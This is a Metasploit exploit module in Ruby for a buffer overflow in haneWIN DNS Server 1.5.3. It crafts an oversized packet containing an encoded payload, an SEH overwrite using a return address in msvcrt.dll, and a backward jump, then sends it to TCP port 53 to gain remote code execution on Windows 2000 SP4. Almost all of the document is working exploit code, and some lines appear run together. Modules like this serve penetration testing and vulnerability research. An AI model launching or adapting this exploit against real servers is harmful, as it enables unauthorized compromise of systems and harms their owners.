require 'msf/core'class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Seh
def initialize(info = {})
super(update_info(info,'Name' => 'haneWIN DNS Server Buffer Overflow','Description' => %q{
This module exploits a buffer overflow vulnerability found in
haneWIN DNS Server <= 1.5.3. The vulnerability is triggered
by sending an overly long packet to the victim server. A memcpy
function blindly copies user supplied data to a fixed size buffer
leading to remote code execution.
This module was tested against haneWIN DNS 1.5.3
},'Author' => ['james fitts'],'License' => MSF_LICENSE,'References' =>
[['EDB','31260'],['OSVDB','102773']],'Privileged'=> false,'DefaultOptions' =>
{'EXITFUNC' => 'process',},'Payload' =>
{'Space' => 1000,'DisableNops' => true,'BadChars' => "\x00\x0a\x0d\x20",'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"# Stack adjustment # add esp, -3500},'Platform' => 'win','DefaultTarget' => 0,'Targets' =>
[['Windows 2000 SP4 EN / haneWIN DNS 1.5.3',{# msvcrt.dll v6.10.9844.0# pop esi/ pop edi/ retn'Ret' => 0x78010394,}]],'DisclosureDate' => 'Jul 27 2013'))
register_options([Opt::RPORT(53)], self.class)end
def exploit
connect
p = make_nops(32)+ payload.encoded
buf = Rex::Text.pattern_create(5000)
buf[0, 2] = [0x4e20].pack('n')# length for malloc
buf[1332, p.length] = p
buf[2324, 8] = generate_seh_record(target.ret)
buf[2332, 15] = make_nops(10)+"\xe9\x13\xfc\xff\xff"# jmp $-1000
print_status("Sending malicious request...")
sock.put(buf)
disconnect
endend
